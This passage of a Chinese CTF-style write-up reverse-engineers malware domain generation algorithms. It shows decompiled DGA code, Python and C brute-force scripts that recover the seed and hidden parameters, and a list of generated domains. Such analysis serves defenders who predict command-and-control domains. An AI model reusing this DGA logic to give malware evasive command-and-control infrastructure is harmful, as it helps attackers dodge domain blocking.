class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">dga</span><span class="params">(<span class="keyword">char</span> *a1, <span class="keyword">char</span> *a2, <span class="keyword">char</span> (*a3)[<span class="number">5</span>], <span class="keyword">int</span> a4, <span class="keyword">int</span> a5)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> *v5; <span class="comment">// edx</span></span><br><span class="line">  <span class="keyword">int</span> v6; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> v7; <span class="comment">// ecx</span></span><br><span class="line">  <span class="keyword">int</span> result; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> v9; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">int</span> v10; <span class="comment">// ebx</span></span><br><span class="line">  <span class="keyword">signed</span> <span class="keyword">int</span> v11; <span class="comment">// edx</span></span><br><span class="line">  <span class="keyword">char</span> (*v12)[<span class="number">5</span>]; <span class="comment">// ebx</span></span><br><span class="line">  <span class="keyword">int</span> v13; <span class="comment">// esi</span></span><br><span class="line">  <span class="keyword">char</span> (*v14)[<span class="number">5</span>]; <span class="comment">// ST08_4</span></span><br><span class="line">  <span class="keyword">int</span> v15; <span class="comment">// [esp+1Ch] [ebp-CCh]</span></span><br><span class="line">  <span class="keyword">int</span> v16; <span class="comment">// [esp+20h] [ebp-C8h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 v17; <span class="comment">// [esp+24h] [ebp-C4h]</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int8 v18; <span class="comment">// [esp+28h] [ebp-C0h]</span></span><br><span class="line">  <span class="keyword">int</span> v19; <span class="comment">// [esp+2Ch] [ebp-BCh]</span></span><br><span class="line">  <span class="keyword">char</span> v20; <span class="comment">// [esp+31h] [ebp-B7h]</span></span><br><span class="line">  <span class="keyword">char</span> v21[<span class="number">4</span>]; <span class="comment">// [esp+32h] [ebp-B6h]</span></span><br><span class="line">  <span class="keyword">char</span> v22; <span class="comment">// [esp+36h] [ebp-B2h]</span></span><br><span class="line">  <span class="keyword">int</span> v23[<span class="number">15</span>]; <span class="comment">// [esp+50h] [ebp-98h]</span></span><br><span class="line">  <span class="keyword">int</span> v24[<span class="number">14</span>]; <span class="comment">// [esp+8Ch] [ebp-5Ch]</span></span><br><span class="line"></span><br><span class="line">  v5 = a2;</span><br><span class="line">  <span class="built_in">memset</span>(v23, <span class="number">0</span>, <span class="number">0x40</span>u);</span><br><span class="line">  *(_DWORD *)v21 = <span class="number">0</span>;</span><br><span class="line">  v17 = <span class="number">0</span>;</span><br><span class="line">  <span class="built_in">memset</span>(&amp;v22, <span class="number">0</span>, <span class="number">0x1A</span>u);</span><br><span class="line">  v6 = <span class="number">0</span>;</span><br><span class="line">  <span class="keyword">do</span></span><br><span class="line">  &#123;</span><br><span class="line">    v7 = a1[v6];</span><br><span class="line">    v17 += v7;</span><br><span class="line">    v23[v6++] = v7;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">while</span> ( v6 != <span class="number">16</span> );</span><br><span class="line">  v19 = <span class="number">0</span>;</span><br><span class="line">  v15 = LOBYTE(v24[<span class="number">0</span>]);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    result = v19;</span><br><span class="line">    <span class="keyword">if</span> ( v19 &gt;= a5 )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    v9 = <span class="number">0</span>;</span><br><span class="line">    <span class="built_in">memset</span>(&amp;v24[<span class="number">1</span>], <span class="number">0</span>, <span class="number">0x40</span>u);</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      v24[v9 + <span class="number">1</span>] = v5[v9];</span><br><span class="line">      ++v9;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( v9 != <span class="number">16</span> );</span><br><span class="line">    v10 = v15;</span><br><span class="line">    v11 = <span class="number">1</span>;</span><br><span class="line">    <span class="built_in">memset</span>(v21, <span class="number">0</span>, <span class="number">0x1E</span>u);</span><br><span class="line">    v18 = v17;</span><br><span class="line">    <span class="keyword">do</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        v16 = (v18 ^ (v24[v11] + v10)) + v24[v11 + <span class="number">1</span>];</span><br><span class="line">        v10 = (<span class="keyword">unsigned</span> __int8)v16;</span><br><span class="line">        <span class="keyword">if</span> ( (<span class="keyword">unsigned</span> <span class="keyword">int</span>)(<span class="keyword">unsigned</span> __int8)v16 - <span class="number">98</span> &lt;= <span class="number">0x17</span> )</span><br><span class="line">          <span class="keyword">break</span>;</span><br><span class="line">        ++v18;</span><br><span class="line">      &#125;</span><br><span class="line">      ++v11;</span><br><span class="line">      *(&amp;v20 + <span class="built_in">strlen</span>(v21) + <span class="number">1</span>) = v16;</span><br><span class="line">      v21[<span class="built_in">strlen</span>(v21) + <span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">while</span> ( v11 != <span class="number">13</span> );</span><br><span class="line">    v12 = a3;</span><br><span class="line">    *(&amp;v20 + <span class="built_in">strlen</span>(v21) + <span class="number">1</span>) = <span class="number">46</span>;</span><br><span class="line">    v13 = <span class="number">0</span>;</span><br><span class="line">    v21[<span class="built_in">strlen</span>(v21) + <span class="number">1</span>] = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">while</span> ( v13 &lt; a4 )</span><br><span class="line">    &#123;</span><br><span class="line">      v14 = v12;</span><br><span class="line">      ++v13;</span><br><span class="line">      ++v12;</span><br><span class="line">      <span class="built_in">printf</span>(<span class="string">&quot;%s%s\n&quot;</span>, v21, v14);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">strcat</span>(v21, &amp;(*a3)[<span class="number">5</span> * a4 - <span class="number">5</span>]);</span><br><span class="line">    ++v19;</span><br><span class="line">    v5 = v21;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> result;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这样就好看多了，之前的v24和v25指向的数据是同一数据。</p><p>往下看，发现<code>v5 = v21;</code>，v21会作为下一个域名生成算法的输入，覆盖”umyyobuorstfabj.com”。</p><p>现在也不知道选了哪个后缀的域名作为的v21，动态调一下，发现是club。</p><p>我们没有a1和a2，但是只有第一个域名生成用到了a2，后面的域名生成基于上一个域名，我们选一组挨着的域名，a2的问题解决了。a1也只是用了个ascii码的和，256种可能。</p><p>这里面还有个v10不知道，256种可能，所以我们可以爆破256*256种可能，还原出这两个值。</p><p>得到了两组值：84, 119与85, 48。</p><p>然后直接照着算法逻辑跑可以得到后面的所有域名，与txt中结果比对，发现84，119的是正确的。</p><p>脚本：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line">s1 = <span class="string">&quot;xuvsxyrbjiyv&quot;</span></span><br><span class="line">s2 = <span class="string">&quot;rgujkdffrpde&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">calc</span>(<span class="params">v18, v10, s1</span>):</span></span><br><span class="line">    v11 = <span class="number">0</span></span><br><span class="line">    res = <span class="string">&quot;&quot;</span></span><br><span class="line">    <span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line">        <span class="keyword">while</span> <span class="number">1</span>:</span><br><span class="line">            v16 = (v18 ^ (<span class="built_in">ord</span>(s1[v11]) + v10)) + <span class="built_in">ord</span>(s1[v11 + <span class="number">1</span>])</span><br><span class="line">            v10 = v16 &amp; <span class="number">0xff</span></span><br><span class="line">            <span class="keyword">if</span> (v10 - <span class="number">98</span>) &amp; <span class="number">0xffffff</span> &lt;= <span class="number">0x17</span>:</span><br><span class="line">                <span class="keyword">break</span></span><br><span class="line">            v18 += <span class="number">1</span></span><br><span class="line">        res += <span class="built_in">chr</span>(v10)</span><br><span class="line">        v11 += <span class="number">1</span></span><br><span class="line">        <span class="keyword">if</span> v11 == <span class="number">12</span>:</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">return</span> res</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># for v18 in range(255):</span></span><br><span class="line"><span class="comment">#     for v10 in range(255):</span></span><br><span class="line"><span class="comment">#         if calc(v18,v10,s1) == s2:</span></span><br><span class="line"><span class="comment">#             print v18,v10</span></span><br><span class="line"><span class="comment">#             break</span></span><br><span class="line">v18, v10 = <span class="number">84</span>, <span class="number">119</span></span><br><span class="line"><span class="comment"># v18, v10 = 85, 48</span></span><br><span class="line">res = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1000</span>):</span><br><span class="line">    <span class="keyword">for</span> ext <span class="keyword">in</span> [<span class="string">&#x27;pw&#x27;</span>, <span class="string">&#x27;us&#x27;</span>, <span class="string">&#x27;club&#x27;</span>]:</span><br><span class="line">        res.append(<span class="string">&quot;%s.%s&quot;</span> % (s1, ext))</span><br><span class="line">    s1 = calc(v18, v10, s1 + <span class="string">&quot;.club&quot;</span>)</span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;domains2.txt&quot;</span>, <span class="string">&quot;w&quot;</span>) <span class="keyword">as</span> f:</span><br><span class="line">    f.write(<span class="string">&quot;\n&quot;</span>.join(res))</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><code>(unsigned int)(unsigned __int8)v16 - 98 &lt;= 0x17</code> 这个判断，注意无符号数，开始python没注意到这个问题，动态调试了一会才发现这里的问题。</p><h3 id="sample3"><a href="#sample3" class="headerlink" title="sample3"></a>sample3</h3><p>拖进IDA分析，代码很简单，指定随机数种子取余来生成字符串。32bit的种子，但是给的100个域名是随机采样的100个域名，打乱了顺序，没法直接爆破。</p><p>应该是要看rand的源码，参考<a href="https://crypto.stackexchange.com/questions/6760/how-does-the-rand-function-in-c-work">https://crypto.stackexchange.com/questions/6760/how-does-the-rand-function-in-c-work</a></p><p>关键源码：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="keyword">long</span> holdrand = <span class="number">1L</span>;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">rand</span><span class="params">()</span> </span>&#123;</span><br><span class="line">  <span class="keyword">return</span> (((holdrand = holdrand * <span class="number">214013L</span> + <span class="number">2531011L</span>) &gt;&gt; <span class="number">16</span>) &amp; <span class="number">0x7fff</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">srand</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">int</span> seed)</span> </span>&#123;</span><br><span class="line">   holdrand = (<span class="keyword">long</span>) seed;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到其实生成随机数算法很简单，就一行。而且每次生成的随机数仅取决于holdrand，生成一个随机数的同时指定下一次生成随机数的holdrand，就是一个递推公式。</p><p>这个题目相当于给了我们100个连续的随机数片段（模35的结果），但是我们不知道每个片段的index。</p><p>同时程序在输出dga域名时，输出第一个dga域名只需要生成一个dga；输出第二个dga域名时要生成两个dga，把最后一个输出；输出第三个dga域名时要生成三个dga，把最后的输出，也就是说程序共生成了1+2+3+…+1000，即500500 个域名。</p><p>其实定义种子就是定义一个holdrand，我们任意选一个输出域名，直接爆破种子，可以得到生成这个域名前的holdrand。</p><p>就拿第一个域名为例，直接爆破：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">char</span> res[<span class="number">24</span>];</span><br><span class="line"><span class="keyword">int</span> i;</span><br><span class="line"><span class="keyword">char</span> v11[<span class="number">35</span>]=<span class="string">&quot;abcdefghijklmnopqrstuvwxyz123456789&quot;</span>;</span><br><span class="line"><span class="keyword">char</span> correct[<span class="number">19</span>]=<span class="string">&quot;13mrjyvjjp4azbbkt7&quot;</span>;</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">int</span> seed;</span><br><span class="line"><span class="keyword">for</span>(seed=<span class="number">0</span>;seed&lt;(<span class="number">1</span>&lt;&lt;<span class="number">32</span><span class="number">-1</span>);seed++)&#123;</span><br><span class="line">srand(seed);</span><br><span class="line"><span class="keyword">int</span> flag=<span class="number">1</span>;</span><br><span class="line"><span class="keyword">for</span>(i=<span class="number">0</span>;i&lt;<span class="number">18</span>;i++)&#123;</span><br><span class="line"><span class="keyword">if</span>(!(v11[rand()%<span class="number">34</span>]==correct[i]))&#123;</span><br><span class="line">flag = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(flag)&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;%u\n&quot;</span>,seed);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">   </span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>得到682174533，也就是说生成13mrjyvjjp4azbbkt7之前，holdrand的值是682174533。</p><p>接下来我们需要确定，这个域名是第几个输出的。我们可以以682174533为种子一直生成域名，把每个域名与题目中的100个域名对比，相等就记录下来是第几个生成的，代码：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">&lt;string.h&gt;</span></span></span><br><span class="line"><span class="keyword">char</span> *ext[]= &#123;<span class="string">&quot;.ru&quot;</span>,<span class="string">&quot;.com&quot;</span>,<span class="string">&quot;.net&quot;</span>,<span class="string">&quot;.biz&quot;</span>,<span class="string">&quot;.cn&quot;</span>&#125;;</span><br><span class="line"><span class="keyword">char</span> v11[<span class="number">35</span>]=<span class="string">&quot;abcdefghijklmnopqrstuvwxyz123456789&quot;</span>;</span><br><span class="line"><span class="keyword">char</span> correct[<span class="number">101</span>][<span class="number">24</span>] = &#123;<span class="string">&quot;13mrjyvjjp4azbbkt7.com&quot;</span>,<span class="string">&quot;1i8vw27dwm8ndevior.biz&quot;</span>,<span class="string">&quot;1j24mwoqqyfcx1qqss.ru&quot;</span>,<span class="string">&quot;1salpm53tfy88aqd5n.com&quot;</span>,<span class="string">&quot;2iffaefkjqo8bjtcu8.net&quot;</span>,<span class="string">&quot;2my1q1eee7i6ogxrgq.ru&quot;</span>,<span class="string">&quot;34wg8meomx1na5m2wc.net&quot;</span>,<span class="string">&quot;38yijueupbbm5k5czj.ru&quot;</span>,<span class="string">&quot;3wcly5scymjapoj7qa.com&quot;</span>,<span class="string">&quot;4bgi4o12snvq6ox3dx.cn&quot;</span>,<span class="string">&quot;4girwa5l6z8zl5ehbh.net&quot;</span>,<span class="string">&quot;52nh81fuoma1qppv8f.ru&quot;</span>,<span class="string">&quot;54u6nwwry22lay7x1r.cn&quot;</span>,<span class="string">&quot;5d8bf1p66ysy5bqfwj.cn&quot;</span>,<span class="string">&quot;5ewy3vxhb3vl5ydjhl.biz&quot;</span>,<span class="string">&quot;63sww2skr1kynlp56s.net&quot;</span>,<span class="string">&quot;6danvuyai8sykkg15r.biz&quot;</span>,<span class="string">&quot;6fqlt8ygeov2xb73vn.cn&quot;</span>,<span class="string">&quot;78zk88cs6viwj31qhh.com&quot;</span>,<span class="string">&quot;7lglt6bjbnxmnjvea8.biz&quot;</span>,<span class="string">&quot;7sryvpk8j76mmyfzqv.biz&quot;</span>,<span class="string">&quot;7xlwbrwad4khucxjo1.cn&quot;</span>,<span class="string">&quot;86ajx1ehnoxtoas81w.com&quot;</span>,<span class="string">&quot;8hmadc4ktcbp434i7v.com&quot;</span>,<span class="string">&quot;a6mj5awo1llzf6vptc.com&quot;</span>,<span class="string">&quot;aey5xbjb1yytrpo1qc.cn&quot;</span>,<span class="string">&quot;b7rv1i7lguqh4571ic.cn&quot;</span>,<span class="string">&quot;bmqqhw57ih541j2ker.biz&quot;</span>,<span class="string">&quot;cnfy6toctwqfckkcm2.ru&quot;</span>,<span class="string">&quot;cqjenuvx2vg7eit63h.cn&quot;</span>,<span class="string">&quot;cvbs1koh7mst2ds3ld.com&quot;</span>,<span class="string">&quot;cwcnn4b4wge5xilv7n.com&quot;</span>,<span class="string">&quot;diynmgrfvjlblouob1.biz&quot;</span>,<span class="string">&quot;djzmdjg3omx8p4ns3e.biz&quot;</span>,<span class="string">&quot;dk8ttigditrpxafg8i.biz&quot;</span>,<span class="string">&quot;dxhun2re2x1jywmwqo.biz&quot;</span>,<span class="string">&quot;eizwxdiapuco67vpa5.ru&quot;</span>,<span class="string">&quot;ep1gcq3mont3wtaygc.cn&quot;</span>,<span class="string">&quot;eqvp786z5t2iingl3x.com&quot;</span>,<span class="string">&quot;fltekcvgk42fitmjws.net&quot;</span>,<span class="string">&quot;fqqghkn46vjkzpru8b.cn&quot;</span>,<span class="string">&quot;gblgpuvnvdh2t7lz6f.biz&quot;</span>,<span class="string">&quot;giwn2ajock6qoo8jqh.com&quot;</span>,<span class="string">&quot;gsrt5g6dc44y1krilm.com&quot;</span>,<span class="string">&quot;gwwflrqe8tzdnkzbad.net&quot;</span>,<span class="string">&quot;gxmmxc1yxlcky4b48i.ru&quot;</span>,<span class="string">&quot;h5oj6uvuhhc1fayebb.net&quot;</span>,<span class="string">&quot;hcp2gvoxls1nfcr8ve.cn&quot;</span>,<span class="string">&quot;hee15fplmi7lewt1mh.net&quot;</span>,<span class="string">&quot;hejxlnvf1f8qeuzvrl.com&quot;</span>,<span class="string">&quot;hoovp7rac48dhvpmpz.net&quot;</span>,<span class="string">&quot;i8qq4ws38cyucerw4a.net&quot;</span>,<span class="string">&quot;ip6uqhdcpffrcihueb.biz&quot;</span>,<span class="string">&quot;it2qi12jtir5ezbngj.net&quot;</span>,<span class="string">&quot;jg84zupddsz2474o31.cn&quot;</span>,<span class="string">&quot;jhhha1dkrcxbpq1gef.net&quot;</span>,<span class="string">&quot;jp562btwn6b6lqh2v4.net&quot;</span>,<span class="string">&quot;jr6nwh7kpi5yvamuth.ru&quot;</span>,<span class="string">&quot;juq233tm5x226256yt.biz&quot;</span>,<span class="string">&quot;kcfyhc1qpuehugdhfh.cn&quot;</span>,<span class="string">&quot;krawjmve7je3leppj6.com&quot;</span>,<span class="string">&quot;ksz45gy7lg64m1yegu.biz&quot;</span>,<span class="string">&quot;kym26cus7oy47ejdns.biz&quot;</span>,<span class="string">&quot;l8pvucuo31tafkray5.net&quot;</span>,<span class="string">&quot;maree2g5ofzkpawm3p.com&quot;</span>,<span class="string">&quot;mcbp8rmlocn8lx82tk.ru&quot;</span>,<span class="string">&quot;n57guekus5jogctr3e.biz&quot;</span>,<span class="string">&quot;n8zlxmjoj4ygms8de7.biz&quot;</span>,<span class="string">&quot;nbrbhh2tcj2lg6bmz2.net&quot;</span>,<span class="string">&quot;nlbyrkzjx2mxrs36ox.ru&quot;</span>,<span class="string">&quot;npeqblt5rstjedji14.com&quot;</span>,<span class="string">&quot;nyc5q1wpfk8wz2wwcr.net&quot;</span>,<span class="string">&quot;opfqo1et1t2uafmian.com&quot;</span>,<span class="string">&quot;ox6ytaor1zaw3q4ayh.cn&quot;</span>,<span class="string">&quot;p3otg2s5rroc6q66lo.biz&quot;</span>,<span class="string">&quot;pi5kv5smcp2c6apyws.cn&quot;</span>,<span class="string">&quot;piw3lg3rg6l7hkil5c.cn&quot;</span>,<span class="string">&quot;pw2rtqouw8jv3ygrjz.cn&quot;</span>,<span class="string">&quot;qasmd3q8fextt8d8pe.com&quot;</span>,<span class="string">&quot;qn3spnkqzq7zbk78u2.biz&quot;</span>,<span class="string">&quot;qs4rbmn88sszioir2p.cn&quot;</span>,<span class="string">&quot;qxv77gv8yiju5u6lr5.biz&quot;</span>,<span class="string">&quot;rn4lgriv68zkediyl8.biz&quot;</span>,<span class="string">&quot;seym7xlklokoetaznu.biz&quot;</span>,<span class="string">&quot;sfidso8x1el2zafisb.com&quot;</span>,<span class="string">&quot;suoj6qdfb6phfu27d5.com&quot;</span>,<span class="string">&quot;tf552bfsqgm2mvftz7.cn&quot;</span>,<span class="string">&quot;tf6ccv76jkdza7qbxj.com&quot;</span>,<span class="string">&quot;tojrtinlfkhwy777q4.biz&quot;</span>,<span class="string">&quot;tr44klrfrnaj5pwr8u.com&quot;</span>,<span class="string">&quot;tu7yg7dr41juxibyv1.ru&quot;</span>,<span class="string">&quot;tyn1pdkagg4pq8zjwy.cn&quot;</span>,<span class="string">&quot;uatztm3o4cn58p8ez6.ru&quot;</span>,<span class="string">&quot;uga11fbdkk6p3eehst.biz&quot;</span>,<span class="string">&quot;vcdtmzs5ug6njdjosa.ru&quot;</span>,<span class="string">&quot;vpn8qcwrsnzb88juv2.net&quot;</span>,<span class="string">&quot;vsd4t2zh81fux8hje5.com&quot;</span>,<span class="string">&quot;vu86xk61km7tir5yx4.biz&quot;</span>,<span class="string">&quot;ykmg2j4deklnyg3dsq.net&quot;</span>,<span class="string">&quot;zv88bhuwftedaspl56.ru&quot;</span>&#125;;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">brute_force</span><span class="params">(<span class="keyword">unsigned</span> <span class="keyword">int</span> seed)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">int</span> amount=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">char</span> res[<span class="number">24</span>];</span><br><span class="line"><span class="keyword">int</span> v1 = <span class="number">1</span>;</span><br><span class="line">srand(seed);</span><br><span class="line"><span class="keyword">int</span> v2,v3,v5,len,v7;</span><br><span class="line"><span class="keyword">int</span> num=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">do</span></span><br><span class="line">&#123;</span><br><span class="line">v2=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">do</span></span><br><span class="line">&#123;</span><br><span class="line">res[<span class="number">0</span>]=<span class="number">0</span>;</span><br><span class="line">v7 = <span class="number">18</span>;</span><br><span class="line"><span class="keyword">do</span></span><br><span class="line">&#123;</span><br><span class="line">len=<span class="built_in">strlen</span>(res);</span><br><span class="line">res[len]=v11[rand()%<span class="number">34</span>];</span><br><span class="line">res[len+<span class="number">1</span>]=<span class="number">0</span>;</span><br><span class="line">v3 = v7-- == <span class="number">1</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span>(!v3);</span><br><span class="line">v5 = rand();</span><br><span class="line"><span class="built_in">strcat</span>(res,ext[v5%<span class="number">5</span>]);</span><br><span class="line">amount++;</span><br><span class="line"><span class="keyword">int</span> tmp;</span><br><span class="line"><span class="keyword">for</span>(tmp=<span class="number">0</span>;tmp&lt;<span class="number">100</span>;tmp++)&#123;</span><br><span class="line"><span class="keyword">if</span>(<span class="built_in">strcmp</span>(res,correct[tmp])==<span class="number">0</span>)&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;%d,&quot;</span>,amount);</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">++v2;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span>(v1!=v2);</span><br><span class="line">++v1;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span>(v1!=<span class="number">1000</span>);</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">char</span> res[<span class="number">24</span>];</span><br><span class="line"><span class="keyword">unsigned</span> <span class="keyword">int</span> seed=<span class="number">682174533</span>;</span><br><span class="line">brute_force(seed);</span><br><span class="line"></span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>得到:</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">1,725,1450,2176,5821,6553,34340,35110,35881,38975,39751,67541,68353,69166,102506,</span><br></pre></td></tr></table></figure><p>这些对应的域名都是在输出13mrjyvjjp4azbbkt7之后输出的，输出的数字就是偏移域名数量。</p><p>然后我们把500500个域名中输出域名的index列出来，遍历所有index，如果对于上面的每个偏移，index加上偏移的结果依然在index的list中，那么我们就找到13mrjyvjjp4azbbkt7的index（即13mrjyvjjp4azbbkt7是程序生成的第几个域名）。</p><p>Python脚本：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">index_list = []</span><br><span class="line">num = <span class="number">0</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>, <span class="number">1001</span>):</span><br><span class="line">    <span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(i):</span><br><span class="line">        num += <span class="number">1</span></span><br><span class="line">    index_list.append(num)</span><br><span class="line">b = [<span class="number">1</span>, <span class="number">725</span>, <span class="number">1450</span>, <span class="number">2176</span>, <span class="number">5821</span>, <span class="number">6553</span>, <span class="number">34340</span>, <span class="number">35110</span>, <span class="number">35881</span>, <span class="number">38975</span>, <span class="number">39751</span>, <span class="number">67541</span>, <span class="number">68353</span>, <span class="number">69166</span>, <span class="number">102506</span>]</span><br><span class="line">index = <span 